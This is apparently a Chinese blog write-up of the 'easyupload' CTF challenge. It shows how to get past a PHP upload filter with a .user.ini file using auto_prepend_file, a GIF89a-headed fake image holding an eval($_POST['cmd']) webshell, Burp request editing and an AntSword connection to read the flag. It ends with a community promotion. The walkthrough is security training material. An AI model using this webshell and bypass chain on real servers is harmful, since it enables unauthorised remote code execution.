优先级: 在用户目录中的 .user.ini 文件的设置优先级高于全局的 php.ini 设置。这意味着你可以在应用的目录中定义一些特定于该应用的 PHP 配置,而不会影响到其他应用或整个系统。
安全性: 对于共享托管环境,需要谨慎使用 .user.ini,因为用户可以在自己的目录中定义 PHP 设置,可能导致安全隐患。
示例:
一个示例的 .user.ini 文件可能如下:
Copy code
; 设置 PHP 错误报告级别
error_reporting = E_ALL
; 启用或禁用魔术引号
magic_quotes_gpc = Off
意思就是说 这个文件可以影响php的配置
3. 下面这四个是文件上传要绕过的点
检查文件内容是否有php字符串
检查后缀中是否有htaccess或ph
检查文件头部信息
文件MIME类型
**到这里,可能基础比较薄弱的读者已经开始晕了,别担心,我们可以跟着下面一步一步来,先实现获取到flag值,再回过头来想想哪一步不太理解。**
### 二. 题目界面
![在这里插入图片描述](https://img-blog.csdnimg.cn/f58190b856bc4878acab6654143a3e62.png)
### 三. 本人步骤与思路
1. 首先题目名字是 easyupload,反应到有可能是上传php文件如何拿到权限,这里要我们上传的是头像,猜测是对图片文件会允许通过,而其他文件将会被过滤,特别是包含php后缀等等。
2. 经过尝试,如果上传php文件,将会提示如下,你上传的文件好像是恶意的
![在这里插入图片描述](https://img-blog.csdnimg.cn/60d7b467a46f4f3ab6e8db0a6cfe31e4.png)
3. 我们想要上传php文件,获得控制权限又不能直接上传php文件,该如何去做,所以就想到了可以通过burp工具,.user,ini配置文件,上传一个假的图片文件,这三个的结合来获取权限。
4.
检查文件内容是否有php字符串
检查后缀中是否有htaccess或ph
检查文件头部信息
文件MIME类型
对于第一点可以利用短标签绕过,例如<?=phpinfo();?>
对于第二点可以通过上传.user.ini以及正常jpg文件来进行getshell。所以下面就是开干环节。
5. 我是在kali虚拟机中进行的,因为我的burp和蚁剑工具都在kali上。首先在桌面创建两个文件,一个名为 **user.ini** (不是 **.user.ini ,为什么是这样,因为有坑!kali里面创建以 . 开头的文件会被隐藏起来,选择文件的时候没无法选中,所以先创建 user.ini, 用burp抓包的时候再改名字,改文件类型**)
![在这里插入图片描述](https://img-blog.csdnimg.cn/938fcbe08d834457afa809433c9f1559.png)
user.ini,内容为
//会指定执行a.jpg文件
GIF89a
auto_prepend_file=a.jpg
a.jpg,内容为
GIF89a
<?=eval($\_POST['cmd']);?>
6. 上传这两个文件,首先是user.ini ,先用burp代理,然后上传后就可以抓包到,然后修改下面两个参数,再点forward,上传成功,而 a.jpg 文件头有图片标识,不会被过滤,直接上传即可,上传a.jpg的时候,看看上传的路径,点击F12,网络选项卡查看。
![在这里插入图片描述](https://img-blog.csdnimg.cn/f11309d0817c45d0a3239d1c667aa60f.png)
7. 我的请求路径是这个 http://61.147.171.105:54029/uploads/index.php **(每个人的不同)**
![在这里插入图片描述](https://img-blog.csdnimg.cn/c2bcaa9f15f44b02bcf86dc4ba0de309.png)
8. 复制这个链接去蚁剑连接,首先测试连接,测试成功,然后添加进去
![在这里插入图片描述](https://img-blog.csdnimg.cn/41fda8aeb60940758f1b5c449def3964.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/873f94e451ba43518c47c3eaa9a59b2f.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/99e18e8a15f34025aa48bfc3a929051f.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/5da9479e52764ec18c52c59a21ed7cdb.png)
9. 最后就是点击根目录。然后拉到最底下,查看flag值
### 总结
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!